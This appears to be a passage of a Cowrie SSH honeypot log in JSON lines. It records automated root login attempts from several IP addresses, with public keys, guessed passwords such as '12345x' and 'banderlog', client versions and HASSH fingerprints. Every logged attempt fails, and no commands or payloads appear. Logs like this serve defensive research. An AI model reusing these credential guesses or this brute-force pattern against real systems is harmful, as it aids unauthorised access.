{"eventid":"cowrie.login.failed","username":"root","fingerprint":"89:e4:29:ca:8a:4c:f9:f7:eb:28:fa:50:ea:85:22:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXqWYVtN6S2tTvnQFfPFKNOiU7IxxfEmcNR3GGfNt4HwscRcgil42WG4/jmLg/XSDWmGfutNGLdZDkXPp7jX5Ef+4pHLuucshnDt2zcSoqctBLXujRAKrL2S5rd2epSAOF/Of9tCcHfVixkQfn8rZh/4MtH5AqhEyvVgQxXv1fORvgLyJHqzAyizpFHWBgZiMRa3ztrMsDqFwuCWCw4erchYSi1/QejWq0QlBZ24Op/ZzlK7HnMstKEQAvqrQ7yV2zLWvbcE/5Sk6p2RUXkArd8InkO47KQtD20tGZGLiKeTOgL+CIWRC51DzSEdZOZb3APc7xRLVkrK/YL+MvwzH3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:02:26.001420Z","src_ip":"69.175.92.29","session":"a3be1637d509","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"50:9f:a8:c2:fa:83:5f:dc:03:79:f8:42:21:9b:50:88","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCMMKaGWmylKwxLuucTlH1lxkek4/Fkyb0NSeOC4ixAS7BcvIWhpPXsAA/Fe1b6J8voPpQnA1gt8C5LifxX+fg+9dcyhcxGDTC+1u0PsEmXM9x/ihrww65OFFK1zDgmgfJvzCxmqQkWRbsa9CVxMBRHMSNX9NZLWVQ8F8hVxrutrOSkqA3s110K2YX0Q9+k4rI0MBcuTnpxA6vycnwcuSKjfwIDauDfFZQ9ErlRa24Q3nWXufxytNsCTZ8CCs6rvfcmYD3BYFIt2Hr72PjDMqiY5xNb2iTWGlcYO8gLMi++02M1tK8dl9DqLj1/flsDzhY4tDo0JB2RTyFjHC93LNEZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 50:9f:a8:c2:fa:83:5f:dc:03:79:f8:42:21:9b:50:88","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:02:26.031828Z","src_ip":"69.175.92.29","session":"a3be1637d509","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"50:9f:a8:c2:fa:83:5f:dc:03:79:f8:42:21:9b:50:88","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCMMKaGWmylKwxLuucTlH1lxkek4/Fkyb0NSeOC4ixAS7BcvIWhpPXsAA/Fe1b6J8voPpQnA1gt8C5LifxX+fg+9dcyhcxGDTC+1u0PsEmXM9x/ihrww65OFFK1zDgmgfJvzCxmqQkWRbsa9CVxMBRHMSNX9NZLWVQ8F8hVxrutrOSkqA3s110K2YX0Q9+k4rI0MBcuTnpxA6vycnwcuSKjfwIDauDfFZQ9ErlRa24Q3nWXufxytNsCTZ8CCs6rvfcmYD3BYFIt2Hr72PjDMqiY5xNb2iTWGlcYO8gLMi++02M1tK8dl9DqLj1/flsDzhY4tDo0JB2RTyFjHC93LNEZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:02:26.035667Z","src_ip":"69.175.92.29","session":"a3be1637d509","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"71:74:13:61:b5:53:8c:29:74:f4:46:20:ba:2f:94:fc","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBwHmL7MeAGPlXBhoY8dy7qKdULUi+kRfkgWew/HBSpA","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 71:74:13:61:b5:53:8c:29:74:f4:46:20:ba:2f:94:fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:02:26.067660Z","src_ip":"69.175.92.29","session":"a3be1637d509","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"71:74:13:61:b5:53:8c:29:74:f4:46:20:ba:2f:94:fc","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBwHmL7MeAGPlXBhoY8dy7qKdULUi+kRfkgWew/HBSpA","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:02:26.071847Z","src_ip":"69.175.92.29","session":"a3be1637d509","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9f:6e:11:db:89:b6:df:40:69:4b:9c:1a:81:e4:10:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUYgH2FxoxpGt7slQAo8ETjyOVKTDxSaHQgzDnLwbLpKpWdhnIrG75QT5n0pG4ZTQw1zMQ0zwV4SMgUz2OepIYbeU0XETBDzMJ92PeCIUYULAky6dehIltHn4ut5zk8ir2Kf77a1rEy/PFggZ1oF8JMYTGT5g8CbAUjTE0Iz3VnbcwMqhtyQSyhZA2xzBI1ENpFFmZI+cqUWUExGT5otrrpb7Q33jfZfPn4GZgOAuquf7XFXpN2LC3Kw4dVY8iwPpVeKYZ2l3ZvwYTIuGdjJfFgl4tsvstxyuljZw4NvQ32B3N7VVu86IHUsL+zQlcsw3PRQ0iq0s2WEAOm1LptG37","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9f:6e:11:db:89:b6:df:40:69:4b:9c:1a:81:e4:10:a9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:02:26.106967Z","src_ip":"69.175.92.29","session":"a3be1637d509","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9f:6e:11:db:89:b6:df:40:69:4b:9c:1a:81:e4:10:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUYgH2FxoxpGt7slQAo8ETjyOVKTDxSaHQgzDnLwbLpKpWdhnIrG75QT5n0pG4ZTQw1zMQ0zwV4SMgUz2OepIYbeU0XETBDzMJ92PeCIUYULAky6dehIltHn4ut5zk8ir2Kf77a1rEy/PFggZ1oF8JMYTGT5g8CbAUjTE0Iz3VnbcwMqhtyQSyhZA2xzBI1ENpFFmZI+cqUWUExGT5otrrpb7Q33jfZfPn4GZgOAuquf7XFXpN2LC3Kw4dVY8iwPpVeKYZ2l3ZvwYTIuGdjJfFgl4tsvstxyuljZw4NvQ32B3N7VVu86IHUsL+zQlcsw3PRQ0iq0s2WEAOm1LptG37","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:02:26.110304Z","src_ip":"69.175.92.29","session":"a3be1637d509","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:02:26.139911Z","src_ip":"69.175.92.29","session":"a3be1637d509","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.127.199","src_port":50864,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e4b49a3d42f","protocol":"ssh","message":"New connection: 14.103.127.199:50864 (10.17.0.5:22) [session: 0e4b49a3d42f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:02:34.400477Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.192.176","src_port":38194,"dst_ip":"10.17.0.5","dst_port":22,"session":"b85bde72e0be","protocol":"ssh","message":"New connection: 152.32.192.176:38194 (10.17.0.5:22) [session: b85bde72e0be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:03:44.757135Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:03:44.762768Z","src_ip":"152.32.192.176","session":"b85bde72e0be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:04:34.415298Z","src_ip":"14.103.127.199","session":"0e4b49a3d42f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"19532158b559096b89b1a5f7d17175b2","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 19532158b559096b89b1a5f7d17175b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:04:47.574625Z","src_ip":"152.32.192.176","session":"b85bde72e0be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"62.8","message":"Connection lost after 62.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:04:47.582088Z","src_ip":"152.32.192.176","session":"b85bde72e0be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":36772,"dst_ip":"10.17.0.5","dst_port":22,"session":"240398feb030","protocol":"ssh","message":"New connection: 103.77.175.15:36772 (10.17.0.5:22) [session: 240398feb030]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:04:48.328882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:04:48.333936Z","src_ip":"103.77.175.15","session":"240398feb030","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:04:48.587273Z","src_ip":"103.77.175.15","session":"240398feb030","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345x","message":"login attempt [root/12345x] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:04:49.347936Z","src_ip":"103.77.175.15","session":"240398feb030","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:04:50.603537Z","src_ip":"103.77.175.15","session":"240398feb030","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":57568,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d72d31fb86a","protocol":"ssh","message":"New connection: 103.149.170.125:57568 (10.17.0.5:22) [session: 2d72d31fb86a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:05:15.577797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:05:15.584662Z","src_ip":"103.149.170.125","session":"2d72d31fb86a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:05:15.846773Z","src_ip":"103.149.170.125","session":"2d72d31fb86a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vaz21074","message":"login attempt [root/vaz21074] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:05:16.622964Z","src_ip":"103.149.170.125","session":"2d72d31fb86a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:05:17.883369Z","src_ip":"103.149.170.125","session":"2d72d31fb86a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":43044,"dst_ip":"159.203.135.109","dst_port":22,"session":"735a6c549e67","protocol":"ssh","message":"New connection: 62.133.62.83:43044 (159.203.135.109:22) [session: 735a6c549e67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:07:01.018732Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:07:01.023690Z","src_ip":"62.133.62.83","session":"735a6c549e67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:07:01.104733Z","src_ip":"62.133.62.83","session":"735a6c549e67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"banderlog","message":"login attempt [root/banderlog] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:07:01.346444Z","src_ip":"62.133.62.83","session":"735a6c549e67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:07:02.428551Z","src_ip":"62.133.62.83","session":"735a6c549e67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":44236,"dst_ip":"10.17.0.5","dst_port":22,"session":"3169f67f0b54","protocol":"ssh","message":"New connection: 37.233.85.71:44236 (10.17.0.5:22) [session: 3169f67f0b54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:08:11.731180Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:08:11.735611Z","src_ip":"37.233.85.71","session":"3169f67f0b54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:08:11.860808Z","src_ip":"37.233.85.71","session":"3169f67f0b54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"h1992iding","message":"login attempt [root/h1992iding] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:08:12.189791Z","src_ip":"37.233.85.71","session":"3169f67f0b54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:08:13.301903Z","src_ip":"37.233.85.71","session":"3169f67f0b54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.217.149.5","src_port":56712,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf68a01e9d24","protocol":"ssh","message":"New connection: 85.217.149.5:56712 (10.17.0.5:22) [session: bf68a01e9d24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:08:17.238390Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:08:17.242518Z","src_ip":"85.217.149.5","session":"bf68a01e9d24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bc3aee897af7d3feb9fc37b89c7d15c9","hasshAlgorithms":"curve25519-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hma